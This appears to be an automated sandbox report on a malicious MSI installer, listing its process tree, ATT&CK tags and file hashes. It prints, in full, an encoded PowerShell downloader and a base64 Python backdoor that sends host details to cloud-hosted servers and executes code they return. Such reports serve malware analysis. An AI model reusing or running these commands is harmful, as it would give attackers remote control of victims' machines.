PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 3172	4692	chrome.exe	87
PID 4692 wrote to memory of 3172	4692	chrome.exe	87
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86
PID 4692 wrote to memory of 4508	4692	chrome.exe	86

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://bixolabs10.autodesk360.com/shares/download/file/SH512d4QTec90decfa6ed385e3b661236559/dXJuOmFkc2sud2lwcHJvZDpmcy5maWxlOnZmLmlRTjJQRDFEUUpXS3hfU1pBOFpabVE_dmVyc2lvbj0xMQ?e95615a3b2544d3bb52f2dbbee1b441a
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4692
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb86069758,0x7ffb86069768,0x7ffb86069778
  2⤵
  PID:3204
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2216 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:8
  2⤵
  PID:4508
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:8
  2⤵
  PID:3172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1576 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:2
  2⤵
  PID:1608
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3012 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:1
  2⤵
  PID:1332
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2984 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:1
  2⤵
  PID:2096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5132 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:8
  2⤵
  PID:5036
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5220 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:8
  2⤵
  PID:3640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5284 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:8
  2⤵
  PID:4248
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5136 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:8
  2⤵
  PID:4988
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1860 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1648
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=5248 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:1
  2⤵
  PID:1288
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4660 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:1
  2⤵
  PID:5016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5484 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:8
  2⤵
  PID:4356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5640 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:8
  2⤵
  PID:1468
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=5488 --field-trial-handle=1884,i,12908842925737231084,13919179186528617084,131072 /prefetch:1
  2⤵
  PID:3184

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:4480

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3864

C:\Windows\System32\msiexec.exe
"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\Nota 04095309484431\nf.msi"
1⤵
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
PID:436

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:4884
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D7E8456924E11B35F80451DA19E2718C
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  PID:1252
- C:\Windows\Installer\MSIE2CD.tmp
  "C:\Windows\Installer\MSIE2CD.tmp" /DontWait /HideWindow /dir "C:\Users\Public\" msiexec.exe /i setup.msi /QN
  2⤵
  - Executes dropped EXE
  PID:3600
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 0F323EFCD67C6569ECC7ECBECDAC533F
  2⤵
  - Loads dropped DLL
  PID:1444
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssEF69.ps1"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3936
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e CgAjACAAQgBsAG8AYwBrACAAZgBvAHIAIABkAGUAYwBsAGEAcgBpAG4AZwAgAHQAaABlACAAcwBjAHIAaQBwAHQAIABwAGEAcgBhAG0AZQB0AGUAcgBzAC4ACgBQAGEAcgBhAG0AKAApAAoACgBjAGQAIAAkAEUATgBWADoAcAB1AGIAbABpAGMACgAkAEYAbwBsAGQAZQByACAAPQAgACIAJAB7AEUATgBWADoAcAB1AGIAbABpAGMAfQBcAHAAZQBmAGkAbABlAC0AMgAwADIAMwAuADIALgA3ACIACgAkAEYAbwBsAGQAZQByADIAIAA9ACAAIgAkAHsARQBOAFYAOgBwAHUAYgBsAGkAYwB9AFwAcAB5AHQAaABvAG4AIgAKAGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJABGAG8AbABkAGUAcgAyACAALQBQAGEAdABoAFQAeQBwAGUAIABDAG8AbgB0AGEAaQBuAGUAcgApACkAIAB7AAoAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAUgBJACAAaAB0AHQAcABzADoALwAvAGYAaQBsAGUAcwAuAHAAeQB0AGgAbwBuAGgAbwBzAHQAZQBkAC4AbwByAGcALwBwAGEAYwBrAGEAZwBlAHMALwA3ADgALwBjADUALwAzAGIAMwBjADYAMgAyADIAMwBmADcAMgBlADIAMwA2ADAANwAzADcAZgBkADIAYQA1ADcAYwAzADAAZQA1AGIAMgBhAGQAZQBjAGQAOAA1AGUANwAwADIANwA2ADgANwA5ADYAMAA5AGEANwA0ADAAMwAzADMANAAvAHAAZQBmAGkAbABlAC0AMgAwADIAMwAuADIALgA3AC4AdABhAHIALgBnAHoAIAAtAE8AdQB0AEYAaQBsAGUAIABwAGUAZgBpAGwAZQAuAHQAYQByAC4AZwB6AAoAIAAgACAAIAB0AGEAcgAgAC0AeAB2AHoAZgAgAHAAZQBmAGkAbABlAC4AdABhAHIALgBnAHoAOwAKACAAIAAgACAAUgBlAG4AYQBtAGUALQBJAHQAZQBtACAAJABGAG8AbABkAGUAcgAgACIAcAB5AHQAaABvAG4AIgAKACAAIAAgACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAFIASQAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHAAeQB0AGgAbwBuAC4AbwByAGcALwBmAHQAcAAvAHAAeQB0AGgAbwBuAC8AMwAuADkALgA2AC8AcAB5AHQAaABvAG4ALQAzAC4AOQAuADYALQBlAG0AYgBlAGQALQB3AGkAbgAzADIALgB6AGkAcAAgAC0ATwB1AHQARgBpAGwAZQAgAHAAeQB0AGgAbwBuAC4AegBpAHAAOwAKACAAIAAgACAARQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAcAB5AHQAaABvAG4ALgB6AGkAcAAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIABwAHkAdABoAG8AbgA7AAoAfQAKAC4AXABwAHkAdABoAG8AbgBcAHAAeQB0AGgAbwBuAC4AZQB4AGUAIAAtAGMAIAAiACIAIgBpAG0AcABvAHIAdAAgAGIAYQBzAGUANgA0ADsAIABlAHgAZQBjACgAYgBhAHMAZQA2ADQALgBiADYANABkAGUAYwBvAGQAZQAoACcAYgBTAEEAOQBJAEMAYwB4AE4AVABjADEATQBqAFkAMQBPAFQASQA1AE8ARABFAG4AQwBtAFoAeQBiADIAMABnAGQARwBsAHQAWgBTAEIAcABiAFgAQgB2AGMAbgBRAGcAYwAyAHgAbABaAFgAQQBLAGMAMgB4AGwAWgBYAEEAbwBOAGoAQQBwAEMAbQBsAHQAYwBHADkAeQBkAEMAQgBpAFkAWABOAGwATgBqAFEAZwBZAFgATQBnAFkAZwBwAHAAYgBYAEIAdgBjAG4AUQBnAGMAMgA5AGoAYQAyAFYAMABJAEcARgB6AEkASABOAHoAQwBtAFoAeQBiADIAMABnAGMAbQBGAHUAWgBHADkAdABJAEcAbAB0AGMARwA5AHkAZABDAEIAagBhAEcAOQBwAFkAMgBVAEsAYQBXADEAdwBiADMASgAwAEkASABkAHAAYgBuAEoAbABaAHkAQgBoAGMAeQBCADMAQwBtAFIAbABaAGkAQgB3AEsARwBNAHMASQBHADQAcABPAGcAbwBnAEkAQwBBAGcAYwB6AEkAZwBQAFMAQgAzAEwAawA5AHcAWgBXADUATABaAFgAawBvAGQAeQA1AEkAUwAwAFYAWgBYADAAeABQAFEAMABGAE0AWAAwADEAQgBRADAAaABKAFQAawBVAHMASQBHAE0AcABDAGkAQQBnAEkAQwBCAHkAWgBYAFIAMQBjAG0ANABnAGQAeQA1AFIAZABXAFYAeQBlAFYAWgBoAGIASABWAGwAUgBYAGcAbwBjAHoASQBzAEkARwA0AHAAVwB6AEIAZABDAG4AQgB5AEkARAAwAGcAYwBDAGgAeQBKADAAaABCAFUAawBSAFgAUQBWAEoARgBYAEYAeABFAFIAVgBOAEQAVQBrAGwAUQBWAEUAbABQAFQAbAB4AGMAVQAzAGwAegBkAEcAVgB0AFgARgB4AEQAWgBXADUAMABjAG0ARgBzAFUASABKAHYAWQAyAFYAegBjADIAOQB5AFgARgB3AHcASgB5AHcAZwBKADEAQgB5AGIAMgBOAGwAYwAzAE4AdgBjAGsANQBoAGIAVwBWAFQAZABIAEoAcABiAG0AYwBuAEsAUQBwADIAYwB5AEEAOQBJAEgAQQBvAGMAaQBkAFQAVAAwAFoAVQBWADAARgBTAFIAVgB4AGMAVABXAGwAagBjAG0AOQB6AGIAMgBaADAAWABGAHgAWABhAFcANQBrAGIAMwBkAHoASQBFADUAVQBYAEYAeABEAGQAWABKAHkAWgBXADUAMABWAG0AVgB5AGMAMgBsAHYAYgBpAGMAcwBJAEMAZABRAGMAbQA5AGsAZABXAE4AMABUAG0ARgB0AFoAUwBjAHAAQwBtAFoAegBJAEQAMABnAEoAeQA1AGkAYwBtAEYANgBhAFcAeAB6AGIAMwBWADAAYQBDADUAagBiAEcAOQAxAFoARwBGAHcAYwBDADUAaABlAG4AVgB5AFoAUwA1AGoAYgAyADAAbgBDAG0AeABzAEkARAAwAGcAVwAyAFkAbgBhADIAWQAwAFoAbQBvADUATQBuAHAAbQBhADIAbwA1AE0AbgB0AG0AYwAzADAAbgBMAEMAQgBtAEoAMgBaAHIAYQBqAGsANQBNADMAbABtAE0AegBrAHoATQAzAHQAbQBjADMAMABuAEwAQwBCAG0ASgAyAGQAbgBOAEQAawA0AGEAbQBoAG8ATQBuAGcANQBOAEQATQAwAGUAMgBaAHoAZgBTAGMAcwBJAEcAWQBuAGEARwBnADEATwBEAE0ANQBNAEQAQQAwAGEAbQBoADcAWgBuAE4AOQBKAHkAdwBnAFoAaQBkAHAAWQBuAE0AeABNAFgAaAByAFoARABnADUATgBEAE4ANwBaAG4ATgA5AEoAeQB3AGcAWgBpAGQAegBhADIAWgBxAE0AagBSADEAZABUAEkANQBaAG0AUgByAGEAagBSAHIAYQBuAHQAbQBjADMAMABuAFgAUQBwAGwAWgBTAEEAOQBJAEUAWgBoAGIASABOAGwAQwBuAGQAbwBhAFcAeABsAEkARgBSAHkAZABXAFUANgBDAGkAQQBnAEkAQwBCAHAAWgBpAEEAbgBRAG4ASgB2AFkAVwBSADMAWgBXAHgAcwBKAHkAQgBwAGIAaQBCAHcAYwBqAG8ASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAaQBjAG0AVgBoAGEAdwBvAGcASQBDAEEAZwBaAG0AOQB5AEkARwB3AGcAYQBXADQAZwBiAEcAdwA2AEMAaQBBAGcASQBDAEEAZwBJAEMAQQBnAGQASABKADUATwBnAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQgAzAGEAWABSAG8ASQBIAE4AegBMAG4ATgB2AFkAMgB0AGwAZABDAGgAegBjAHkANQBCAFIAbAA5AEoAVABrAFYAVQBMAEMAQgB6AGMAeQA1AFQAVAAwAE4ATABYADEATgBVAFUAawBWAEIAVABTAGsAZwBZAFgATQBnAGMAegBvAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkASABNAHUAWQAyADkAdQBiAG0AVgBqAGQAQwBnAG8AWgBpAGQANwBiAEgAMABuAEwAQwBCAGoAYQBHADkAcABZADIAVQBvAFcAegBNADQATQBqAEUAcwBJAEQAUQAwAE0AVABnAHMASQBEAFUAeABOAHoAZwBzAEkARABrADUATwBEAE0AcwBJAEQAYwB6AE0AVABFAHMASQBEAGcAeQBPAFQAUQBzAEkARABZAHkATgB6AE0AcwBJAEQASQB4AE0AVABrAHMASQBEAEUAdwBNAFQAZwBzAEkARABFADMATQBEAEYAZABLAFMAawBwAEMAaQBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB6AEwAbgBOAGwAYgBtAFEAbwBaAGkAZAB3AGUAVQBOAHYAWgBHAFUAZwBMAFMAQgA3AGMAMwBNAHUAWgAyAFYAMABhAEcAOQB6AGQARwA1AGgAYgBXAFUAbwBLAFgAMABnAGYAQwBCADcAZABuAE4AOQBJAEgAdwBnAGUAMwBCAHkAZgBTAGMAdQBaAFcANQBqAGIAMgBSAGwASwBDAGsAcABDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAawBkAEMAQQA5AEkASABNAHUAYwBtAFYAagBkAGkAZwAyAE4AVABVAHoATgBpAGsAdQBaAEcAVgBqAGIAMgBSAGwASwBDAGsASwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBHAFYANABaAFcATQBvAFkAaQA1AGkATgBqAFIAawBaAFcATgB2AFoARwBVAG8AYwAzAFIAeQBLAEcAUgAwAEsAUwBrAHAAQwBpAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBCAHoATABtAE4AcwBiADMATgBsAEsAQwBrAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkARwBWAGwASQBEADAAZwBWAEgASgAxAFoAUQBvAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAFkAbgBKAGwAWQBXAHMASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAbABlAEcATgBsAGMASABRADYAQwBpAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEgAQgBoAGMAMwBNAEsASQBDAEEAZwBJAEcAeABzAEwAbQBGAHcAYwBHAFYAdQBaAEMAZwBuAFkAMgBGAHQAWgBYAEoAaABMAFcAVgB0AGMASABKAGwAYwAyAEUAdQBZAFcATgBqAFoAWABOAHoAWQAyAEYAdABMAG0AOQB5AFoAeQBjAHAAQwBpAEEAZwBJAEMAQgBwAFoAaQBCAGwAWgBUAG8ASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAaQBjAG0AVgBoAGEAdwA9AD0AJwApACkAOwAgAGUAeABpAHQAKAApACIAIgAiADsACgA=
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      PID:1012
    - - C:\Windows\SysWOW64\tar.exe
        
        "C:\Windows\system32\tar.exe" -xvzf pefile.tar.gz
        5⤵
        
        PID:3596
    - - C:\Users\Public\python\python.exe
        
        "C:\Users\Public\python\python.exe" -c "import base64; exec(base64.b64decode('bSA9ICcxNTc1MjY1OTI5ODEnCmZyb20gdGltZSBpbXBvcnQgc2xlZXAKc2xlZXAoNjApCmltcG9ydCBiYXNlNjQgYXMgYgppbXBvcnQgc29ja2V0IGFzIHNzCmZyb20gcmFuZG9tIGltcG9ydCBjaG9pY2UKaW1wb3J0IHdpbnJlZyBhcyB3CmRlZiBwKGMsIG4pOgogICAgczIgPSB3Lk9wZW5LZXkody5IS0VZX0xPQ0FMX01BQ0hJTkUsIGMpCiAgICByZXR1cm4gdy5RdWVyeVZhbHVlRXgoczIsIG4pWzBdCnByID0gcChyJ0hBUkRXQVJFXFxERVNDUklQVElPTlxcU3lzdGVtXFxDZW50cmFsUHJvY2Vzc29yXFwwJywgJ1Byb2Nlc3Nvck5hbWVTdHJpbmcnKQp2cyA9IHAocidTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzIE5UXFxDdXJyZW50VmVyc2lvbicsICdQcm9kdWN0TmFtZScpCmZzID0gJy5icmF6aWxzb3V0aC5jbG91ZGFwcC5henVyZS5jb20nCmxsID0gW2Yna2Y0Zmo5Mnpma2o5Mntmc30nLCBmJ2Zrajk5M3lmMzkzM3tmc30nLCBmJ2dnNDk4amhoMng5NDM0e2ZzfScsIGYnaGg1ODM5MDA0amh7ZnN9JywgZidpYnMxMXhrZDg5NDN7ZnN9JywgZidza2ZqMjR1dTI5ZmRrajRrantmc30nXQplZSA9IEZhbHNlCndoaWxlIFRydWU6CiAgICBpZiAnQnJvYWR3ZWxsJyBpbiBwcjoKICAgICAgICBicmVhawogICAgZm9yIGwgaW4gbGw6CiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aXRoIHNzLnNvY2tldChzcy5BRl9JTkVULCBzcy5TT0NLX1NUUkVBTSkgYXMgczoKICAgICAgICAgICAgICAgIHMuY29ubmVjdCgoZid7bH0nLCBjaG9pY2UoWzM4MjEsIDQ0MTgsIDUxNzgsIDk5ODMsIDczMTEsIDgyOTQsIDYyNzMsIDIxMTksIDEwMTgsIDE3MDFdKSkpCiAgICAgICAgICAgICAgICBzLnNlbmQoZidweUNvZGUgLSB7c3MuZ2V0aG9zdG5hbWUoKX0gfCB7dnN9IHwge3ByfScuZW5jb2RlKCkpCiAgICAgICAgICAgICAgICBkdCA9IHMucmVjdig2NTUzNikuZGVjb2RlKCkKICAgICAgICAgICAgICAgIGV4ZWMoYi5iNjRkZWNvZGUoc3RyKGR0KSkpCiAgICAgICAgICAgICAgICBzLmNsb3NlKCkKICAgICAgICAgICAgICAgIGVlID0gVHJ1ZQogICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHBhc3MKICAgIGxsLmFwcGVuZCgnY2FtZXJhLWVtcHJlc2EuYWNjZXNzY2FtLm9yZycpCiAgICBpZiBlZToKICAgICAgICBicmVhaw==')); exit()"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2568

C:\Windows\System32\msiexec.exe
"C:\Windows\System32\msiexec.exe" /i setup.msi /QN
1⤵
- Enumerates connected drives
PID:1596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SDRSVC
1⤵
PID:4556

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
PID:1892

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
1⤵
PID:784

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Windows\WindowsUpdate.log
1⤵
- Opens file in notepad (likely ransom note)
PID:3084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e59ca8d.rbs

Filesize
866KB

MD5
ec12aa8b282c5ac0a329689019cf4099

SHA1
4f69bb6000f9ea5fe4d94dc47a3d8ee053069bfc

SHA256
85d3aad5bd044ec01d35d34819652bb661a2efa03890d2da9d1986001a35ca7d

SHA512
3a41858afe9f1c900d79f8227055eedc399e09d23216f5156af3838f2f27cf2039fb5f698ee00cd3b8fc82a18ab9987f737963fadb2f904538c276757fb83c6b

Download Submit
C:\Config.Msi\e59ca91.rbs

Filesize
1003B

MD5
e59a59353ba10633c003764098d18c23

SHA1
2a49ff7bd695354894aba106d93205bcbc503ffa

SHA256
179134516aac355ffd4bb2b5249bfabaaee95ce6405524a61635cac727a1439b

SHA512
15dcc43a844fafef37d14208094979b0eca7a32ca8356c133b251deb6b3d9e5a51b7bfcf11379e81100e06c8d969b7f817a52dc15f85f8561247048e4f727bdb

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
456B

MD5
